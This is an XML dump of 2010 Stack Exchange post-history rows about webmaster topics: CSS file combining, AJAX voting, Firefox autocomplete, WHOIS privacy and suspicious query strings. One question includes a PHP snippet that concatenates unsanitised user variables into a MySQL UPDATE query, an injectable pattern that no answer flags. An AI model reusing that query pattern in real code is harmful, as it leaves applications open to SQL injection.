  <row Id="4396" PostHistoryTypeId="1" PostId="2294" RevisionGUID="dd60d260-7bd1-4e38-a091-37c0d7c02bcf" CreationDate="2010-08-16T08:27:31.083" UserId="480" Text="Combining CSS files with regards to @media" />
  <row Id="4397" PostHistoryTypeId="3" PostId="2294" RevisionGUID="dd60d260-7bd1-4e38-a091-37c0d7c02bcf" CreationDate="2010-08-16T08:27:31.083" UserId="480" Text="&lt;css&gt;&lt;performance&gt;&lt;combining&gt;" />
  <row Id="4398" PostHistoryTypeId="2" PostId="2295" RevisionGUID="393f50d5-8dd9-4552-ab7c-ff81778a3a7c" CreationDate="2010-08-16T08:51:30.557" UserId="798" Text="[quirksmode.org][1]. Especially like the compatibility tables.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://quirksmode.org/" />
  <row Id="4399" PostHistoryTypeId="16" PostId="2295" RevisionGUID="393f50d5-8dd9-4552-ab7c-ff81778a3a7c" CreationDate="2010-08-16T08:51:30.557" UserId="-1" />
  <row Id="4400" PostHistoryTypeId="2" PostId="2296" RevisionGUID="bde2d817-592f-4d82-80ba-bb0f7242c571" CreationDate="2010-08-16T09:59:48.497" UserId="1226" Text="I'm trying to set up some voting logic on my site, and have the vote result update without refreshing the site. I did some research and AJAX seems to be the way to go, but i cant find a good tutorial on it.&#xD;&#xA;&#xD;&#xA;im doing the update to Mysql &#xD;&#xA;   &#xD;&#xA;    $query = &quot;update RR_upload set vote = vote&quot;.$vote.&quot; where id = '&quot;.$var1.&quot;'&quot;;&#xD;&#xA;    mysql_query($query, $connection) or die (mysql_error());&#xD;&#xA;&#xD;&#xA;how do i make it so ajax udates the content of the site after running the vote update?" />
  <row Id="4401" PostHistoryTypeId="1" PostId="2296" RevisionGUID="bde2d817-592f-4d82-80ba-bb0f7242c571" CreationDate="2010-08-16T09:59:48.497" UserId="1226" Text="How to using ajax for voting script." />
  <row Id="4402" PostHistoryTypeId="3" PostId="2296" RevisionGUID="bde2d817-592f-4d82-80ba-bb0f7242c571" CreationDate="2010-08-16T09:59:48.497" UserId="1226" Text="&lt;php&gt;&lt;mysql&gt;&lt;ajax&gt;" />
  <row Id="4403" PostHistoryTypeId="2" PostId="2297" RevisionGUID="f15d483c-87bd-4a89-ba39-a27787c103e8" CreationDate="2010-08-16T10:15:50.407" UserId="221" Text="This question may be a better fit for StackOverflow.&#xD;&#xA;&#xD;&#xA;This tutorial should help you get going: http://articles.sitepoint.com/article/ajax-jquery&#xD;&#xA;&#xD;&#xA;Basically, AJAX will invoke a server side script that updates the DB and returns the new state of the poll.&#xD;&#xA;&#xD;&#xA;When the AJAX query is made a function is assigned for the call back (AJAX is asynchronous so you have to assign a Javascript function that will be run when the response comes back) that happens once the server side script returns. The callback function then updates the HTML page with the new info." />
  <row Id="4404" PostHistoryTypeId="2" PostId="2298" RevisionGUID="30435c94-b52a-425b-8a9e-e6007ebfb74c" CreationDate="2010-08-16T10:22:48.030" UserId="1426" Text="Do you have just one page.css, or are there many different versions of it for different pages and categories?&#xD;&#xA;&#xD;&#xA;Assuming there's just one, I'd suggest:&#xD;&#xA;&#xD;&#xA;* Combine global.css and page.css into one stylesheet. After the first request the user will have a cached version of this anyway.&#xD;&#xA;&#xD;&#xA;* Merge your print rules into the stylesheet above using @media. You can then add a conditional comment for IE6 only to give it a working print stylesheet.&#xD;&#xA;&#xD;&#xA;* The 'alternative stylesheet' will give supporting browsers the choice of using this stylesheet instead of the main one. In your case this appears to be an easy way of giving the user a 'printable view'. If you want to keep this in you'll need to keep print.css separate, so don't bother merging the print rules into the main file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As I'm sure the books you linked say, you'll also want to be serving these stylesheets compressed and with expires headers to maximise the benefits." />
  <row Id="4405" PostHistoryTypeId="10" PostId="2296" RevisionGUID="5344b33a-3912-469e-9897-2391f7dbebce" CreationDate="2010-08-16T10:29:18.943" UserId="3" CloseReasonId="2" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="4406" PostHistoryTypeId="5" PostId="2294" RevisionGUID="f39f6df4-6195-49e3-810c-d127e5596997" CreationDate="2010-08-16T10:52:14.920" UserId="480" Comment="added 43 characters in body" Text="We have a website where the usual speed ups from [High Performance Websites][1] and [Even Faster Web Sites][2] paid dividends.&#xD;&#xA;&#xD;&#xA;However we have neglected stylesheets (due to the difficulties laid out below) and it has finally come round to bite us, with CSS accounting for 500ms of our 1600ms page-load (the ratio of both results is pretty consistent across benchmarks - the actual numbers portrayed here are from the most convenient benchmark we have to hand).&#xD;&#xA;&#xD;&#xA;In parallel to making the selectors more efficient, the total number of HTTP requests has to be reduced. Here is an example (without `text=&quot;text/css&quot; charset=&quot;utf-8&quot;` for brevity):&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; href=&quot;global.css&quot; media=&quot;all&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; href=&quot;page.css&quot; media=&quot;all&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; href=&quot;print.css&quot; media=&quot;print&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;alternative stylesheet&quot; href=&quot;print.css&quot; media=&quot;all&quot; title=&quot;Print&quot; /&gt;&#xD;&#xA;&#xD;&#xA;This would appear to be a common setup (global stylesheet, per page/category stylesheet and print layout) yet we are having real troubles figuring out a workable solution due to every option having a double edged sword:&#xD;&#xA;&#xD;&#xA;* global.css and page.css can be combined, however global.css would be downloaded again and again alongside page.css (as page.css is per category/special page) if the user kept jumping to special pages/categories and should be served on its own&#xD;&#xA;&#xD;&#xA;* print.css file can be combined and use [CSS2 @media rules][3], but that wouldn't work with CSS1 browsers (this site has to work with IE6)&#xD;&#xA;&#xD;&#xA;* the version of print.css linked using `rel=&quot;alternative stylesheet&quot; media=&quot;all&quot; title=&quot;Print&quot;` does not appear to be necessary, yet the developers have [Cargo Culted][4] it on every project without knowing what it does and we are fearful of removing it&#xD;&#xA;&#xD;&#xA;As this seems such a common setup what have others done when faced with a similar setup?, can anyone shed some light on alternative stylesheets for print?, is there a novel approach to the above?&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596529307&#xD;&#xA;  [2]: http://oreilly.com/catalog/9780596522315&#xD;&#xA;  [3]: http://&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Cargo_cult" />
  <row Id="4407" PostHistoryTypeId="2" PostId="2299" RevisionGUID="6e3df590-c61c-43c1-9603-1e74edb6dda3" CreationDate="2010-08-16T12:09:17.010" UserId="233" Text="I don't think this is really the case, at least not directly. If a site is online for 10 years then it will naturally pick up back-links. Even a few links would outweigh any value given to the domain name." />
  <row Id="4408" PostHistoryTypeId="2" PostId="2300" RevisionGUID="e159d6d8-57e4-46df-927e-b34d30218661" CreationDate="2010-08-16T12:39:16.903" UserId="233" Text="Yes, Google will obviously cache robots.txt to an extent - it won't download it every time it wants to look at a page. How long it caches it for, I don't know. However, if you have a long Expires header set, Googlebot may leave it much longer to check the file.&#xD;&#xA;&#xD;&#xA;Another problem could be a misconfigured file. In the webmaster tools that danivovich suggests, there is a robots.txt checker. It will tell you which types of pages are blocked and which are fine." />
  <row Id="4409" PostHistoryTypeId="2" PostId="2301" RevisionGUID="953b62a8-1a12-4626-8c10-f42771189550" CreationDate="2010-08-16T14:58:42.503" UserId="442" Text="I have a registration page which includes all the standard fields e.g. phone no, email etc. &#xD;&#xA;&#xD;&#xA;The telephone and password are tab adjacent i.e. not physically adjacent but if you are tabbing it goes first name -&gt; surname -&gt; email -&gt; telephone -&gt; password.&#xD;&#xA;&#xD;&#xA;For some reason is giving users a prompt to remember their user name and password when they register (which is nice) but it is saving the telephone number as the username.&#xD;&#xA;&#xD;&#xA;Are there rules for helping it decide/stopping it from suggesting people remember the ever so useful telephone number/password combination?&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="4410" PostHistoryTypeId="1" PostId="2301" RevisionGUID="953b62a8-1a12-4626-8c10-f42771189550" CreationDate="2010-08-16T14:58:42.503" UserId="442" Text="Firefox remembering telephone number as username" />
  <row Id="4411" PostHistoryTypeId="3" PostId="2301" RevisionGUID="953b62a8-1a12-4626-8c10-f42771189550" CreationDate="2010-08-16T14:58:42.503" UserId="442" Text="&lt;web-development&gt;&lt;browsers&gt;&lt;firefox&gt;&lt;registration&gt;" />
  <row Id="4412" PostHistoryTypeId="2" PostId="2302" RevisionGUID="3fa8a4e7-54ad-45ac-a78f-56f59c6136d5" CreationDate="2010-08-16T15:08:20.093" UserId="1253" Text="Use autocomplete=&quot;false&quot; to disable autocomplete and Firefox (and other browsers who support this non-standard attribute) will not save those values&#xD;&#xA;&#xD;&#xA;    &lt;input type=text&quot; name=&quot;dontsave&quot; autocomplete=&quot;false&quot;&gt;" />
  <row Id="4413" PostHistoryTypeId="5" PostId="2267" RevisionGUID="aac3db5f-9d92-4ba6-89dd-bed7f3ea5c2a" CreationDate="2010-08-16T15:10:43.367" UserId="1429" Comment="deleted 1 characters in body" Text="I thought frame and iframe are something bad for SEO.&#xD;&#xA;&#xD;&#xA;Today I was doing some search and searching for &quot;numisamtica&quot; in Google.it and the 3rd site is www.lemonete.it (ranks high also in Google.com).&#xD;&#xA;**It's all made with frames.**&#xD;&#xA;&#xD;&#xA;A competitor site (www.nummus.com) that is all done with no frames ranks much lower when searching for the same word: &quot;numismatica&quot;&#xD;&#xA;&#xD;&#xA;So can we use frame, don't they hit SEO ranking anymore?&#xD;&#xA;Any explanation (possibly simple) would be appreciated also about the fact the 2nd site ranks much lower. :)" />
  <row Id="4414" PostHistoryTypeId="2" PostId="2303" RevisionGUID="ded00121-1a29-4bfa-ae2b-5daf591fcf64" CreationDate="2010-08-16T15:12:38.370" UserId="233" Text="I have noticed similar behaviour in Google Chrome before. What are the names given to the input fields? I know that browsers often have problems with fields if they use code like `name=&quot;signup[email]&quot;` to pass everything in one variable to the server side (very useful in PHP).&#xD;&#xA;&#xD;&#xA;You could try using this simple format: `&lt;input name=&quot;username&quot; type=&quot;text&quot;&gt;` with `email` and `password` as the names for those two fields. (Note: I haven't actually tested this, when I came across this situation before I was not able to change the field names.)" />
  <row Id="4415" PostHistoryTypeId="5" PostId="2267" RevisionGUID="ddb5dcf3-5048-4d01-a5a3-d3cd968950f0" CreationDate="2010-08-16T15:17:31.277" UserId="1429" Comment="edited body; added 4 characters in body" Text="I thought frame and iframe are something bad for SEO.&#xD;&#xA;&#xD;&#xA;Today I was doing some search and **searching for &quot;numismatica&quot; in Google.it** and the 3rd site is www.lemonete.it (ranks high also in Google.com).&#xD;&#xA;**It's all made with frames.**&#xD;&#xA;&#xD;&#xA;A competitor site (www.nummus.com) that is all done with no frames ranks much lower when searching for the same word: &quot;numismatica&quot;&#xD;&#xA;&#xD;&#xA;So can we use frame, don't they hit SEO ranking anymore?&#xD;&#xA;Any explanation (possibly simple) would be appreciated also about the fact the 2nd site ranks much lower. :)" />
  <row Id="4416" PostHistoryTypeId="2" PostId="2304" RevisionGUID="d3c797e4-b8e8-48e2-86dd-d9640057a5ce" CreationDate="2010-08-16T15:20:02.930" UserId="236" Text="I think there is a misunderstanding about frames affect SEO that I've heard from a lot of people. There is no inherent penalty for having iframes on your site, as there are several legitimate uses for them. There are iframes in GMail for example. but as tnorthcutt said, The content of an iframe isn't part of the parent page and isn't going to be indexed as such (if at all), so that could be problematic.&#xD;&#xA;&#xD;&#xA;Also, there are a lot of factors that go into search rankings, which is why you can't say that one site should be ranked over another because of just one of them." />
  <row Id="4417" PostHistoryTypeId="5" PostId="2302" RevisionGUID="50440004-9f96-44bc-9ab7-6a97b2ce5f0b" CreationDate="2010-08-16T15:22:22.997" UserId="1253" Comment="deleted 4 characters in body; added 243 characters in body; added 5 characters in body" Text="Use autocomplete=&quot;off&quot; to disable autocomplete and Firefox (and other browsers who support this non-standard attribute) will not save those values.&#xD;&#xA;&#xD;&#xA;    &lt;input type=text&quot; name=&quot;dontsave&quot; autocomplete=&quot;off&quot;&gt;&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;What you're seeing may be due to the field names you are using. Auto-complete looks for common username/login field names to work and your telephone number field may be causing Firefox to believe it is the primary login ID field. " />
  <row Id="4418" PostHistoryTypeId="2" PostId="2305" RevisionGUID="490e30a9-a4cc-452c-af17-a84547d81d18" CreationDate="2010-08-16T15:25:13.480" UserId="1078" Text="I currently have my full contact details (including my phone number and postal address) in the WHOIS information for all the domains I have registered so far. I wonder how bad of an idea this is and whether I should remove such information from the WHOIS.&#xD;&#xA;&#xD;&#xA;What are the possible consequences of leaving such information there and what are the benefits (if any) for leaving it? Are there any known incidents for troubles because of WHOIS information? Finally, what would you recommend? Would you recommend using a WHOIS privacy service?&#xD;&#xA;&#xD;&#xA;Just to add, I believe there are services, like domaintools.com, that archive the WHOIS information, so, is it too late to remove my contact details? (if you think I should remove it).&#xD;&#xA;&#xD;&#xA;Many thanks" />
  <row Id="4419" PostHistoryTypeId="1" PostId="2305" RevisionGUID="490e30a9-a4cc-452c-af17-a84547d81d18" CreationDate="2010-08-16T15:25:13.480" UserId="1078" Text="Postal address in Whois information, how bad of an idea is this?" />
  <row Id="4420" PostHistoryTypeId="3" PostId="2305" RevisionGUID="490e30a9-a4cc-452c-af17-a84547d81d18" CreationDate="2010-08-16T15:25:13.480" UserId="1078" Text="&lt;whois&gt;" />
  <row Id="4421" PostHistoryTypeId="2" PostId="2306" RevisionGUID="9d9ddbb9-1544-48ac-a454-d9c02dc56de9" CreationDate="2010-08-16T15:31:13.593" UserId="1253" Text="The primary consequences are your contact information is publicly available which means registrars may try to solicit you to switch to them. A company was recently busted for sending mail suggesting that domain owners had to renew their domain and tried to get users to do it through their website which also transferred the domain to them (for a higher fee). Other companies do the same thing but in a less shady manner. You may also get other legitimate solicitations to buy the domain and/or website, etc.&#xD;&#xA;&#xD;&#xA;Spammers do crawl whois records harvesting email addresses so a public whois record will almost certainly result in an increase in spam. But this can be easily mitigated by using a forwarder as the email address you use to register and periodically change it once the spam gets too bad.&#xD;&#xA;&#xD;&#xA;I have used anonymous domain registrations in the past and I can't say it really made any difference other then not getting any mail from registrars trying to get me to switch to them. The cost is small so doing it won't really hit you in the wallet but I don't think it's worth the cost or effort." />
  <row Id="4422" PostHistoryTypeId="5" PostId="2301" RevisionGUID="ae23d3dc-1d04-449b-9228-12e91f4195b8" CreationDate="2010-08-16T15:46:13.433" UserId="442" Comment="added 72 characters in body; added 111 characters in body" Text="I have a registration page which includes all the standard fields e.g. phone no, email etc. &#xD;&#xA;&#xD;&#xA;The telephone and password are tab adjacent i.e. not physically adjacent but if you are tabbing it goes first name -&gt; surname -&gt; email -&gt; telephone -&gt; password.&#xD;&#xA;&#xD;&#xA;For some reason is giving users a prompt to remember their user name and password when they register (which is nice) but it is saving the telephone number as the username.&#xD;&#xA;&#xD;&#xA;Are there rules for helping it decide/stopping it from suggesting people remember the ever so useful telephone number/password combination?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;- The names on the form elements are &quot;Phone&quot; and &quot;txtpassword&quot;.  &#xD;&#xA;&#xD;&#xA;- I would like it to remember email and password. Is this achievable given the current situation?" />
  <row Id="4423" PostHistoryTypeId="5" PostId="2305" RevisionGUID="23d95788-f3c3-4b48-ae55-788c3898e425" CreationDate="2010-08-16T15:49:15.990" UserId="1078" Comment="added 5 characters in body" Text="I currently have my full contact details (including my phone number and postal address) in the WHOIS information for all the domain names I have registered so far. I wonder how bad of an idea this is and whether I should remove such information from the WHOIS.&#xD;&#xA;&#xD;&#xA;What are the possible consequences of leaving such information there and what are the benefits (if any) for leaving it? Are there any known incidents for troubles because of WHOIS information? Finally, what would you recommend? Would you recommend using a WHOIS privacy service?&#xD;&#xA;&#xD;&#xA;Just to add, I believe there are services, like domaintools.com, that archive the WHOIS information, so, is it too late to remove my contact details? (if you think I should remove it).&#xD;&#xA;&#xD;&#xA;Many thanks" />
  <row Id="4424" PostHistoryTypeId="5" PostId="2302" RevisionGUID="866d3755-fe38-42ac-92c9-7f38d04c5289" CreationDate="2010-08-16T15:52:17.453" UserId="1253" Comment="added 171 characters in body" Text="Use autocomplete=&quot;off&quot; to disable autocomplete and Firefox (and other browsers who support this non-standard attribute) will not save those values.&#xD;&#xA;&#xD;&#xA;    &lt;input type=text&quot; name=&quot;dontsave&quot; autocomplete=&quot;off&quot;&gt;&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;What you're seeing may be due to the field names you are using. Auto-complete looks for common username/login field names to work and your telephone number field may be causing Firefox to believe it is the primary login ID field. &#xD;&#xA;&#xD;&#xA;**Edit 2:**&#xD;&#xA;&#xD;&#xA;Is the email field before or after the Phone field? If it is after, is it possible to put it before the Phone field? If so, does that make a difference?" />
  <row Id="4425" PostHistoryTypeId="5" PostId="2301" RevisionGUID="f004853f-81a8-445e-8a7d-37e47937dddf" CreationDate="2010-08-16T15:59:44.550" UserId="442" Comment="added 94 characters in body" Text="I have a registration page which includes all the standard fields e.g. phone no, email etc. &#xD;&#xA;&#xD;&#xA;The telephone and password are tab adjacent i.e. not physically adjacent but if you are tabbing it goes first name -&gt; surname -&gt; email -&gt; telephone -&gt; password.&#xD;&#xA;&#xD;&#xA;For some reason is giving users a prompt to remember their user name and password when they register (which is nice) but it is saving the telephone number as the username.&#xD;&#xA;&#xD;&#xA;Are there rules for helping it decide/stopping it from suggesting people remember the ever so useful telephone number/password combination?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;- The names on the form elements are &quot;Phone&quot; and &quot;txtpassword&quot;.  &#xD;&#xA;&#xD;&#xA;- I would like it to remember email and password. Is this achievable given the current situation?&#xD;&#xA;&#xD;&#xA;- Unfortunately I cannot reorder the form fields. The order is given in the tabbing above." />
  <row Id="4426" PostHistoryTypeId="5" PostId="2261" RevisionGUID="3c773422-3fe9-4238-99e4-5ac1f59caa48" CreationDate="2010-08-16T18:05:54.710" UserId="1429" Comment="added 2 characters in body" Text="I noticed website with new contents is pushed up in Google results in some way for a while than moved down again.&#xD;&#xA;It's like if Google wants people to see immedaitely there is new content in your site which make sense in order for Google to return latest news results from online newspapers.&#xD;&#xA;&#xD;&#xA;But I don't think it benefits Page Rank itself.&#xD;&#xA;&#xD;&#xA;*Virtuosi Media* answered that blogs sites ranks better (as Page Rank I suppose), but I belive is more because they have many pages linking to the HOME PAGE rather because the freshness of their pages.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4427" PostHistoryTypeId="2" PostId="2307" RevisionGUID="40c1c804-930b-44f8-9b7f-e0ad72a4b405" CreationDate="2010-08-16T18:34:05.527" UserId="1078" Text="I'm not really sure it does but from my humble experience with SEO, link building always plays the largest part by far. A few links from pages with high PageRank should have a much greater effect on the site's rank in SERPs (provided that they have the right keywords in the links' text and not having too many links on the linking pages)." />
  <row Id="4428" PostHistoryTypeId="2" PostId="2308" RevisionGUID="fec945b2-4897-4190-8362-efc368698502" CreationDate="2010-08-16T21:32:45.653" UserId="269" Text="I have noticed that a small number of requests come through my application with ?sfgdataq appended to them, I probably wouldn't have ever noticed it if it didn't cause an error on some requests.&#xD;&#xA;&#xD;&#xA;I have seen requests come through with a mix of user agents, (Firefox, IE 7, IE 8) so I don't think it is a bot.&#xD;&#xA;&#xD;&#xA;I looked around and I can't find any information on what is doing this, I found a couple people with similar questions on message boards (so I don't think it is isolated to my application) but no good answers. " />
  <row Id="4429" PostHistoryTypeId="1" PostId="2308" RevisionGUID="fec945b2-4897-4190-8362-efc368698502" CreationDate="2010-08-16T21:32:45.653" UserId="269" Text="What is &quot;?sfgdataq&quot; that I see appended to some requests to my application?" />
  <row Id="4430" PostHistoryTypeId="3" PostId="2308" RevisionGUID="fec945b2-4897-4190-8362-efc368698502" CreationDate="2010-08-16T21:32:45.653" UserId="269" Text="&lt;analytics&gt;" />
  <row Id="4431" PostHistoryTypeId="2" PostId="2309" RevisionGUID="ed30af9f-388f-4505-adab-1dfe05314625" CreationDate="2010-08-16T22:04:09.603" UserId="1253" Text="Sounds like a bot looking for some kind of vulnerability. It's hard to say but I would guess there's a flaw in some software somewhere and that query string either exposes it so the hacker know where to find a vulnerable site or maybe it even begins an attack. Or it may be checking to see if your software gives an error message because of that query string and they can then try to exploit your code.&#xD;&#xA;&#xD;&#xA;I would recommend logging the IPs of the visitors who are doing this in case it is malicious. Then you can ban them. I would also keep researching it as someone may figure out what this is and post it online for others to see." />
  <row Id="4432" PostHistoryTypeId="5" PostId="2308" RevisionGUID="dba3231f-a078-4abb-97a0-8239928942d1" CreationDate="2010-08-16T22:14:23.070" UserId="269" Comment="added 233 characters in body" Text="I have noticed that a small number of requests come through my application with ?sfgdataq appended to them, I probably wouldn't have ever noticed it if it didn't cause an error on some requests.&#xD;&#xA;&#xD;&#xA;I have seen requests come through with a mix of user agents, (Firefox, IE 7, IE 8) so I don't think it is a bot.&#xD;&#xA;&#xD;&#xA;I looked around and I can't find any information on what is doing this, I found a couple people with similar questions on message boards (so I don't think it is isolated to my application) but no good answers. &#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;I also noticed that the User Agents have some sort of large random value appended: +sfgRmluamFuX1R5cGU9amF2YV9zY3JpcHQmRmluamFuX0xhbmc9dGV4dC9qY is a sample - searching for that on google turns it up in other logs as well." />
  <row Id="4433" PostHistoryTypeId="5" PostId="2309" RevisionGUID="e1a2c587-5a11-4d6c-9f14-d6e065de8491" CreationDate="2010-08-16T22:32:18.190" UserId="1253" Comment="added 13 characters in body" Text="Sounds like a bot looking for some kind of vulnerability. It's hard to say but I would guess there's a flaw in some software somewhere and that query string either exposes it so the hacker know where to find a vulnerable site or maybe it even begins an attack. Or it may be checking to see if your software gives an error message because of that query string and they can then try to exploit your code.&#xD;&#xA;&#xD;&#xA;I would recommend logging the IPs of the visitors who are doing this in case it is malicious. Then you can ban them if necessary. I would also keep researching it as someone may figure out what this is and post it online for others to see." />
  <row Id="4434" PostHistoryTypeId="2" PostId="2310" RevisionGUID="76baf303-ecbb-43af-8b6f-4b28f796e0f5" CreationDate="2010-08-16T22:33:27.393" UserId="871" Text="More and more I find add-ons toolbars and plugins to be adding modifications to my user's behavior. Looks like it may be something like that, or a proxy." />
  <row Id="4435" PostHistoryTypeId="2" PostId="2311" RevisionGUID="4a793601-b937-4d06-adc2-75c1d50475a9" CreationDate="2010-08-16T23:58:42.717" UserDisplayName="John Gardeniers" Text="While it may be possible to get that information for some domains it certainly won't be possible for any and all registrations. Depending on the domain, that information may not be available due to local privacy laws. Also, domains may also be registered through a proxy agent, so the real ownership may never even have been listed." />
  <row Id="4436" PostHistoryTypeId="2" PostId="2312" RevisionGUID="88a4d9bd-4310-4640-9639-10e2c33bb0d6" CreationDate="2010-08-17T00:42:17.380" UserId="113" Text="We know webmasters are managers and maintainers of websites. But is that all there is to it? Does being a Webmaster require any general skills besides being able to manage content? If I put it on a resume, will it mean anything? What do the 'pros' think of when they hear the term?" />
  <row Id="4437" PostHistoryTypeId="1" PostId="2312" RevisionGUID="88a4d9bd-4310-4640-9639-10e2c33bb0d6" CreationDate="2010-08-17T00:42:17.380" UserId="113" Text="what does the term 'webmaster' signify in the computing world?" />
  <row Id="4438" PostHistoryTypeId="3" PostId="2312" RevisionGUID="88a4d9bd-4310-4640-9639-10e2c33bb0d6" CreationDate="2010-08-17T00:42:17.380" UserId="113" Text="&lt;web-development&gt;" />
  <row Id="4439" PostHistoryTypeId="2" PostId="2313" RevisionGUID="8eb701ad-8508-4fb0-92a1-57a5905e7ce4" CreationDate="2010-08-17T01:03:18.797" UserId="1253" Text="As your question illustrates the term &quot;webmaster&quot; doesn't necessarily have an agreed upon definition.&#xD;&#xA;&#xD;&#xA;[Wikipedia][1] defines a webmaster as:&#xD;&#xA;&#xD;&#xA;&gt; A webmaster (a blend of web and master), also called a web architect, web developer, site author, website administrator, or (informally) webmeister, sometimes heard in tongue-in-cheek feminine form web mistress, is a person responsible for maintaining a website(s). The duties of the webmaster may include ensuring that the web servers, hardware and software are operating accurately, designing the website, generating and revising web pages, replying to user comments, and examining traffic through the site. Webmasters &quot;must also be well-versed in Web transaction software, payment-processing software, and security software.&quot; &#xD;&#xA;&gt; &#xD;&#xA;&gt; Webmasters may be generalists with&#xD;&#xA;&gt; HTML expertise who manage most or all&#xD;&#xA;&gt; aspects of Web operations. Depending&#xD;&#xA;&gt; on the nature of the websites they&#xD;&#xA;&gt; manage, webmasters typically know&#xD;&#xA;&gt; scripting languages such as&#xD;&#xA;&gt; Javascript, PHP and Perl. They may&#xD;&#xA;&gt; also be required to know how to&#xD;&#xA;&gt; configure web servers such as Apache&#xD;&#xA;&gt; or IIS and serve as the server&#xD;&#xA;&gt; administrator.&#xD;&#xA;&gt; &#xD;&#xA;&gt; An alternative definition of webmaster&#xD;&#xA;&gt; is a businessperson who uses online&#xD;&#xA;&gt; media to sell products and/or&#xD;&#xA;&gt; services. This broader definition of&#xD;&#xA;&gt; webmaster covers not just the&#xD;&#xA;&gt; technical aspects of overseeing Web&#xD;&#xA;&gt; site construction and maintenance but&#xD;&#xA;&gt; also management of content,&#xD;&#xA;&gt; advertising, marketing and order&#xD;&#xA;&gt; fulfillment for the Web site.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Core responsibilities of the webmaster&#xD;&#xA;&gt; may include the regulation and&#xD;&#xA;&gt; management of access rights of&#xD;&#xA;&gt; different users of a website, the&#xD;&#xA;&gt; appearance and setting up website&#xD;&#xA;&gt; navigation. Content placement can be&#xD;&#xA;&gt; part of a webmaster's&#xD;&#xA;&gt; responsibilities, while content&#xD;&#xA;&gt; creation may not be.&#xD;&#xA;&#xD;&#xA;So, as you can see, webmaster encompasses a lot of skillsets but doesn't require all of them to be met in order to be called a webmaster. If you put that on your resume you better clarify exactly what your duties were with that site or at least have a good answer prepared when they ask you what that means.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Webmaster&#xD;&#xA;" />
  <row Id="4440" PostHistoryTypeId="5" PostId="2313" RevisionGUID="2df8be88-1143-4b9f-8367-eb41ce958452" CreationDate="2010-08-17T01:08:51.200" UserId="1253" Comment="added 294 characters in body" Text="As your question illustrates the term &quot;webmaster&quot; doesn't necessarily have an agreed upon definition.&#xD;&#xA;&#xD;&#xA;[Wikipedia][1] defines a webmaster as:&#xD;&#xA;&#xD;&#xA;&gt; A webmaster (a blend of web and master), also called a web architect, web developer, site author, website administrator, or (informally) webmeister, sometimes heard in tongue-in-cheek feminine form web mistress, is a person responsible for maintaining a website(s). The duties of the webmaster may include ensuring that the web servers, hardware and software are operating accurately, designing the website, generating and revising web pages, replying to user comments, and examining traffic through the site. Webmasters &quot;must also be well-versed in Web transaction software, payment-processing software, and security software.&quot; &#xD;&#xA;&gt; &#xD;&#xA;&gt; Webmasters may be generalists with&#xD;&#xA;&gt; HTML expertise who manage most or all&#xD;&#xA;&gt; aspects of Web operations. Depending&#xD;&#xA;&gt; on the nature of the websites they&#xD;&#xA;&gt; manage, webmasters typically know&#xD;&#xA;&gt; scripting languages such as&#xD;&#xA;&gt; Javascript, PHP and Perl. They may&#xD;&#xA;&gt; also be required to know how to&#xD;&#xA;&gt; configure web servers such as Apache&#xD;&#xA;&gt; or IIS and serve as the server&#xD;&#xA;&gt; administrator.&#xD;&#xA;&gt; &#xD;&#xA;&gt; An alternative definition of webmaster&#xD;&#xA;&gt; is a businessperson who uses online&#xD;&#xA;&gt; media to sell products and/or&#xD;&#xA;&gt; services. This broader definition of&#xD;&#xA;&gt; webmaster covers not just the&#xD;&#xA;&gt; technical aspects of overseeing Web&#xD;&#xA;&gt; site construction and maintenance but&#xD;&#xA;&gt; also management of content,&#xD;&#xA;&gt; advertising, marketing and order&#xD;&#xA;&gt; fulfillment for the Web site.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Core responsibilities of the webmaster&#xD;&#xA;&gt; may include the regulation and&#xD;&#xA;&gt; management of access rights of&#xD;&#xA;&gt; different users of a website, the&#xD;&#xA;&gt; appearance and setting up website&#xD;&#xA;&gt; navigation. Content placement can be&#xD;&#xA;&gt; part of a webmaster's&#xD;&#xA;&gt; responsibilities, while content&#xD;&#xA;&gt; creation may not be.&#xD;&#xA;&#xD;&#xA;So, as you can see, webmaster encompasses a lot of skillsets but doesn't require all of them to be met in order to be called a webmaster. If you put that on your resume you better clarify exactly what your duties were with that site or at least have a good answer prepared when they ask you what that means. Also keep in mind that most employers aren't looking for a generalist (which the title &quot;webmaster&quot; implies) but someone to perform a specific duty. If you claim to be a webmaster you may typecast yourself as a generalist instead of targeting yourself towards the position you are applying for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Webmaster&#xD;&#xA;" />
